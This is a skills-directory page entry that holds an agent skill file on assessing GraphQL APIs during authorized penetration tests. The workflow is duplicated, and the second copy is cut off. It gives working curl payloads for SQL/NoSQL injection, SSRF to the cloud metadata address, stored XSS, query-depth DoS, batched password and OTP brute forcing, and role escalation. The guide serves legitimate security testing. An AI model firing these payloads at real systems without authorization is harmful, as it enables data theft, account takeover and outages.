[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFTE75SFP3W2919A3719NB":3,"skill-same:01M6AFTE75SFP3W2919A3719NB":116},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":55,"linkOnly":56,"markdownContent":57,"markdownBody":58,"frontMatter":59,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":78,"repositoryHtmlUrl":79,"repositoryHomepageUrl":80,"ownerHtmlUrl":81,"ownerBlogUrl":82,"ownerDescription":83,"updatedAt":84,"install":85,"resources":98},"01M6AFTE75SFP3W2919A3719NB","performing-graphql-security-assessment",null,"Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-security-assessment\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"GraphQL","performing graphql security assessment","assessment","security","web-application-security","introspection","denial-of-service","application-security","t1505","web-security","injection","t1059","vulnerabilities","testing","owasp","penetration-testing","api-security","cybersecurity","pr","web","2026-11-10 10:12:30",false,"---\nname: performing-graphql-security-assessment\ndescription: Assessing GraphQL API endpoints for introspection leaks, injection attacks,\n  authorization flaws, and denial-of-service vulnerabilities during authorized security\n  tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- graphql\n- api-security\n- owasp\n- web-security\n- introspection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Performing GraphQL Security Assessment\n\n## When to Use\n\n- During authorized penetration tests when the target application uses a GraphQL API\n- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL\n- For evaluating mobile app backends that expose GraphQL endpoints\n- When testing microservice architectures with a GraphQL gateway or federation\n- During bug bounty programs targeting GraphQL-based APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With InQL extension for GraphQL scanning\n- **GraphQL Voyager**: Schema visualization tool\n- **InQL Scanner**: Burp extension for GraphQL introspection and query generation\n- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing\n- **clairvoyance**: GraphQL schema enumeration when introspection is disabled\n- **curl**: For manual GraphQL query submission\n\n## Workflow\n\n### Step 1: Discover and Fingerprint GraphQL Endpoints\n\nLocate GraphQL endpoints and confirm GraphQL is running.\n\n```bash\n# Common GraphQL endpoint paths\nfor path in graphql graphiql playground query gql api\u002Fgraphql \\\n  v1\u002Fgraphql v2\u002Fgraphql graphql\u002Fconsole; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n\n# Check for GraphQL IDEs (GraphiQL, Playground)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphiql\" | grep -i \"graphiql\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\u002Fplayground\" | grep -i \"playground\"\n\n# Fingerprint GraphQL engine\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__typename}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n# Response varies by engine: Apollo returns \"Query\", Hasura returns \"query_root\"\n\n# Check for WebSocket GraphQL subscriptions\n# ws:\u002F\u002Ftarget.example.com\u002Fgraphql (or wss:\u002F\u002F)\n```\n\n### Step 2: Perform Schema Introspection\n\nExtract the full GraphQL schema to understand the API surface.\n\n```bash\n# Full introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Comprehensive introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq . > schema.json\n\n# If introspection is disabled, use clairvoyance for schema enumeration\npython3 -m clairvoyance \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fgraphql-field-names.txt \\\n  -o discovered-schema.json\n\n# Visualize the schema using GraphQL Voyager\n# Upload schema.json to https:\u002F\u002Fgraphql-kit.com\u002Fgraphql-voyager\u002F\n```\n\n### Step 3: Test Authorization on Queries and Mutations\n\nVerify that access control is enforced at the field and object level.\n\n```bash\n# Test querying all users (should require admin)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ users { id email role passwordHash } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test accessing sensitive fields on own user\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ user(id: 1) { id email ssn creditCard internalNotes } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test mutation authorization (admin-only actions with user token)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { deleteUser(id: 2) { success } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test without any authentication\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 4: Test for Injection Vulnerabilities\n\nAssess GraphQL queries for SQL injection, NoSQL injection, and other injection types.\n\n```bash\n# SQL injection in GraphQL arguments\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ user(name: \\\"admin\\\\\\\" OR 1=1--\\\") { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# NoSQL injection (MongoDB)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(filter: {email: {$ne: \\\"\\\"}}) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for SSRF via GraphQL\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { importData(url: \\\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\\\") { result } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for stored XSS via mutations\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { updateProfile(bio: \\\"\u003Cscript>alert(1)\u003C\u002Fscript>\\\") { id bio } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# GraphQL directive injection\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 1) { email @deprecated } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 5: Test for Denial of Service Attacks\n\nAssess query complexity limits and resource consumption controls.\n\n```bash\n# Deep nesting attack (query depth)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Width attack (requesting many fields)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch query attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"query\":\"{ user(id:1){email} }\"},{\"query\":\"{ user(id:2){email} }\"},{\"query\":\"{ user(id:3){email} }\"},{\"query\":\"{ user(id:4){email} }\"},{\"query\":\"{ user(id:5){email} }\"}]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Fragment-based circular reference\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for unbounded pagination\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(first: 1000000) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq '.data.users | length'\n```\n\n### Step 6: Test Batching for Authentication Bypass\n\nUse query batching to brute-force credentials or bypass rate limiting.\n\n```bash\n# Batch login attempts to bypass rate limiting\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password1\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password2\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password3\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"admin123\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"letmein\\\"){token}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch OTP verification attempts\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{verifyOTP(code:\\\"000000\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000001\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000002\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000003\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000004\\\"){success}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Alias-based batching (same operation, different aliases)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"mutation { a1:login(email:\\\"admin@test.com\\\",password:\\\"pass1\\\"){token} a2:login(email:\\\"admin@test.com\\\",password:\\\"pass2\\\"){token} a3:login(email:\\\"admin@test.com\\\",password:\\\"pass3\\\"){token} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |\n| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |\n| **Query Complexity** | A score calculated from the cost of resolving each field in a query |\n| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |\n| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |\n| **Fragments** | Reusable field selections that can cause circular references if not validated |\n| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |\n| **Field-level Authorization** | Access control applied to individual fields rather than entire types |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |\n| **GraphQL Voyager** | Interactive schema visualization tool |\n| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |\n| **clairvoyance** | Schema enumeration when introspection is disabled |\n| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |\n| **BatchQL** | GraphQL batching attack tool for rate limit bypass |\n\n## Common Scenarios\n\n### Scenario 1: Introspection Exposes Internal Schema\nIntrospection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.\n\n### Scenario 2: Missing Field-Level Authorization\nThe `User` type exposes `passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.\n\n### Scenario 3: Batch Login Bypass\nThe GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.\n\n### Scenario 4: Nested Query DoS\nA social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.\n\n## Output Format\n\n```\n## GraphQL Security Assessment Report\n\n**Target**: https:\u002F\u002Ftarget.example.com\u002Fgraphql\n**Engine**: Apollo Server 4.x\n**Assessment Date**: 2024-01-15\n\n### Findings Summary\n| Finding | Severity | Status |\n|---------|----------|--------|\n| Introspection enabled in production | Medium | VULNERABLE |\n| Missing field-level authorization | High | VULNERABLE |\n| No query depth limit | High | VULNERABLE |\n| Batch query rate limit bypass | High | VULNERABLE |\n| GraphiQL IDE exposed | Low | VULNERABLE |\n| SQL injection in user query | Critical | VULNERABLE |\n| CSRF on mutations | Medium | PASS (custom header required) |\n\n### Critical: SQL Injection via user Query\n**Location**: `user(name: String)` query argument\n**Payload**: `{ user(name: \"' OR 1=1--\") { id email role } }`\n**Impact**: Full database read access via GraphQL interface\n\n### High: Batch Authentication Bypass\n**Location**: POST \u002Fgraphql (array body)\n**Payload**: Array of 100 login mutations in single request\n**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request\n\n### Recommendation\n1. Disable introspection in production environments\n2. Implement field-level authorization on all sensitive fields\n3. Set query depth limit (max 7-10 levels)\n4. Set query complexity limit and cost analysis\n5. Disable or rate-limit batch queries\n6. Remove GraphiQL\u002FPlayground from production\n7. Parameterize all database queries in resolvers\n```\n","# Performing GraphQL Security Assessment\n\n## When to Use\n\n- During authorized penetration tests when the target application uses a GraphQL API\n- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL\n- For evaluating mobile app backends that expose GraphQL endpoints\n- When testing microservice architectures with a GraphQL gateway or federation\n- During bug bounty programs targeting GraphQL-based APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: With InQL extension for GraphQL scanning\n- **GraphQL Voyager**: Schema visualization tool\n- **InQL Scanner**: Burp extension for GraphQL introspection and query generation\n- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing\n- **clairvoyance**: GraphQL schema enumeration when introspection is disabled\n- **curl**: For manual GraphQL query submission\n\n## Workflow\n\n### Step 1: Discover and Fingerprint GraphQL Endpoints\n\nLocate GraphQL endpoints and confirm GraphQL is running.\n\n```bash\n# Common GraphQL endpoint paths\nfor path in graphql graphiql playground query gql api\u002Fgraphql \\\n  v1\u002Fgraphql v2\u002Fgraphql graphql\u002Fconsole; do\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"query\":\"{__typename}\"}' \\\n    \"https:\u002F\u002Ftarget.example.com\u002F$path\")\n  echo \"$path: $status\"\ndone\n\n# Check for GraphQL IDEs (GraphiQL, Playground)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphiql\" | grep -i \"graphiql\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\u002Fplayground\" | grep -i \"playground\"\n\n# Fingerprint GraphQL engine\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__typename}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n# Response varies by engine: Apollo returns \"Query\", Hasura returns \"query_root\"\n\n# Check for WebSocket GraphQL subscriptions\n# ws:\u002F\u002Ftarget.example.com\u002Fgraphql (or wss:\u002F\u002F)\n```\n\n### Step 2: Perform Schema Introspection\n\nExtract the full GraphQL schema to understand the API surface.\n\n```bash\n# Full introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Comprehensive introspection query\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq . > schema.json\n\n# If introspection is disabled, use clairvoyance for schema enumeration\npython3 -m clairvoyance \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fgraphql-field-names.txt \\\n  -o discovered-schema.json\n\n# Visualize the schema using GraphQL Voyager\n# Upload schema.json to https:\u002F\u002Fgraphql-kit.com\u002Fgraphql-voyager\u002F\n```\n\n### Step 3: Test Authorization on Queries and Mutations\n\nVerify that access control is enforced at the field and object level.\n\n```bash\n# Test querying all users (should require admin)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ users { id email role passwordHash } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test accessing sensitive fields on own user\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"{ user(id: 1) { id email ssn creditCard internalNotes } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test mutation authorization (admin-only actions with user token)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { deleteUser(id: 2) { success } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $USER_TOKEN\" \\\n  -d '{\"query\":\"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test without any authentication\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 4: Test for Injection Vulnerabilities\n\nAssess GraphQL queries for SQL injection, NoSQL injection, and other injection types.\n\n```bash\n# SQL injection in GraphQL arguments\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ user(name: \\\"admin\\\\\\\" OR 1=1--\\\") { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# NoSQL injection (MongoDB)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(filter: {email: {$ne: \\\"\\\"}}) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for SSRF via GraphQL\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { importData(url: \\\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\\\") { result } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for stored XSS via mutations\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation { updateProfile(bio: \\\"\u003Cscript>alert(1)\u003C\u002Fscript>\\\") { id bio } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# GraphQL directive injection\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 1) { email @deprecated } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n### Step 5: Test for Denial of Service Attacks\n\nAssess query complexity limits and resource consumption controls.\n\n```bash\n# Deep nesting attack (query depth)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Width attack (requesting many fields)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch query attack\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"query\":\"{ user(id:1){email} }\"},{\"query\":\"{ user(id:2){email} }\"},{\"query\":\"{ user(id:3){email} }\"},{\"query\":\"{ user(id:4){email} }\"},{\"query\":\"{ user(id:5){email} }\"}]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Fragment-based circular reference\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Test for unbounded pagination\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"{ users(first: 1000000) { id email } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq '.data.users | length'\n```\n\n### Step 6: Test Batching for Authentication Bypass\n\nUse query batching to brute-force credentials or bypass rate limiting.\n\n```bash\n# Batch login attempts to bypass rate limiting\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password1\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password2\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"password3\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"admin123\\\"){token}}\"},\n    {\"query\":\"mutation{login(email:\\\"admin@target.com\\\",password:\\\"letmein\\\"){token}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Batch OTP verification attempts\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '[\n    {\"query\":\"mutation{verifyOTP(code:\\\"000000\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000001\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000002\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000003\\\"){success}}\"},\n    {\"query\":\"mutation{verifyOTP(code:\\\"000004\\\"){success}}\"}\n  ]' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n\n# Alias-based batching (same operation, different aliases)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"mutation { a1:login(email:\\\"admin@test.com\\\",password:\\\"pass1\\\"){token} a2:login(email:\\\"admin@test.com\\\",password:\\\"pass2\\\"){token} a3:login(email:\\\"admin@test.com\\\",password:\\\"pass3\\\"){token} }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\" | jq .\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |\n| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |\n| **Query Complexity** | A score calculated from the cost of resolving each field in a query |\n| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |\n| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |\n| **Fragments** | Reusable field selections that can cause circular references if not validated |\n| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |\n| **Field-level Authorization** | Access control applied to individual fields rather than entire types |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |\n| **GraphQL Voyager** | Interactive schema visualization tool |\n| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |\n| **clairvoyance** | Schema enumeration when introspection is disabled |\n| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |\n| **BatchQL** | GraphQL batching attack tool for rate limit bypass |\n\n## Common Scenarios\n\n### Scenario 1: Introspection Exposes Internal Schema\nIntrospection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.\n\n### Scenario 2: Missing Field-Level Authorization\nThe `User` type exposes 